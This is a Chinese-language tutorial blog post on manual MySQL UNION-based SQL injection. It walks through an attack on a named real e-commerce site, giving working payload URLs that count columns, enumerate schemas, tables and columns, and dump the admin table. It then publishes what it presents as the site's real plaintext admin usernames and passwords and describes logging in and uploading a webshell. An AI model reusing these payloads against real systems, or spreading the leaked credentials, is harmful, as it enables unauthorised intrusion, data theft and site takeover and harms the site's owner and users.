Mysql 手工注入【常规 Union 查询篇】
文章来源于:lsh4ck's Blog
在开始真正的注入技巧之前,我们先来大致回顾下必要的 mysql 数据库基础
下面是注入 Mysql 时经常会用到的一些单行函数,熟练使用是灵活注入的前提,尤其是在对抗一些 Waf 的时候
字符串连接函数,将多个字符串连接成一个字符串,注意,中间只要字符串有一个为空,最后结果也为空
同样是连接多个字符串,但可以在开头指定分隔符,跟 concat()稍微不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空
利用分组的方式连接所有字符串,通俗点儿讲,其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024
截取指定字符串,注意在 mysql 中的所有字符串截取操作[除了 limit],默认都是从 1 开始的,并非像代码中的数组是从 0 开始的
截取指定字符串,具体用法基本同 substring()
mysql 专有的字符串截取,也就是说只有在 mysql 中有,mssql 和 oracle 以及 pgsql 中都没有
从左往右截取 3 个字符,左截取
从右往左截取 3 个字符,右截取
返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用
返回指定的 ASCII 码字符所对应的数值,下面的 ord()用法基本也是一致的
把指定的数字转换成对应的 ASCII 码字符,n 久以前 bypasswaf 的惯用招数,各类编码绕过 waf 也是最常见的一种方式
下面是现场随便找的一个实例站点,来简单演示下关于利用 Union 进行注入的完整流程
一个小商城站,最终目的,拿到管理员账号密码,登进后台,上传自己的 webshell,下面是注入点和后台入口:
https://purply.in/product-detail.php?pid=1368
https://purply.in/admin/pages/login.php
首先,先来判断下到底是不是存在注入,其实有些你感觉是的,可能它并不是,我们看到这个的例子就是个典型的数字型,判断的方法就很简单了,因为是数字,根本不需要闭合,直接把后面的语句注释掉即可,具体流程如下:
https://purply.in/product-detail.php?pid=1368 页面正常返回时是这样的
https://purply.in/product-detail.php?pid=1368\ 尝试用\干扰pid时页面返回异常,一般这种情况,心里差不就有底了,继续
当我们确认目标确实存在注入以后,就可以开始正常的数据查询过程了
https://purply.in/product-detail.php?pid=1368 order by 32 -- - 先确定字段个数,我们看到,为 32 时页面数据返回正常
https://purply.in/product-detail.php?pid=1368 order by 33 -- - 字段为33个时,页面返回错误,说明字段总个数为32
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 有了确切的字段个数,我们就可以利用 union 把对应的数据显示位都给爆出来,注意,因为这里是 mysql,所以我的是数字,如果是 mssql 或者 oracel,再或者是 pgsql,数字可能就不行了,你可能需要用 null 来代替数字,因为 union 要求前后查询的语句必须保证数据类型和个数完全一致,不然就会报错
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,database(),4,version(),user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 现在显示位有了,我们就可以正常的查各种数据了,首先,先搜集好各种数据库信息
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,@@basedir,@@version_compile_os,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 从搜集的信息来看,目标是 linux 机器,普通数据库用户权限,路径信息如下
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,@@basedir,@@hostname,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 从 hostname 里我们看到,这又是台虚拟机
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(schema_name,' | '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from information_schema.schemata -- - 我们看到当前数据库用户有权限看到的只有这两个库,其实,只有一个有用,继续找管理表
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(table_name,'| '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32frominformation_schema.tables where table_schema=0x64625f707572706c79-- -
很显然,’purply_admin’很可能就是我们要的管理表,继续查管理表的所有字段名,注意后面的数据库名,实际中最好 16 进制编码下
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(column_name,'| '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32from information_schema.columns where table_name=0x707572706c795f61646d696e-- -
管理表有了,字段名也有了,剩下的就是把账号密码查出来,今天的注入常规 union 注入方法就可以收工了,注意,这里的表名最还是编码下
https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,admin_username,4,admin_password,admin_type,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from purply_admin limit 4,1
-- - 其实,我在遍历到第四条数据的时候看到了 admin,然后就理所当然的以为是他们的管理员,但其实,这只是其中一个权限很低的管理员,这也是进后台以后才发现的,有些操作坐不了,在后台入口就可以看到,你要选择对应的用户类型登陆,’superman’才是真正的超级管理员,它对应的实际用户是’ purply’,至于进去以后的事情就很简单了,果断传了 webshell 连之
后台所有用户的账号密码如下,可以看到,直接明文,先不说程序员的代码写的有多烂,起码的意识都没有
purply purply@2*16 | 1
purplybanjara banjara2016 | 3
operations purply2016 | 4
photo.shoot pr0duct52016 | 2
admin purply2016 | 5
下面是我用 ‘admin’账号实际登进去的效果,也是进去之后才发现,有很多东西这个用户是看不到也没权限操作的
‘Purply’ 后来发现这个用户才是真正的管理员,登陆以后的效果,如下
你可能喜欢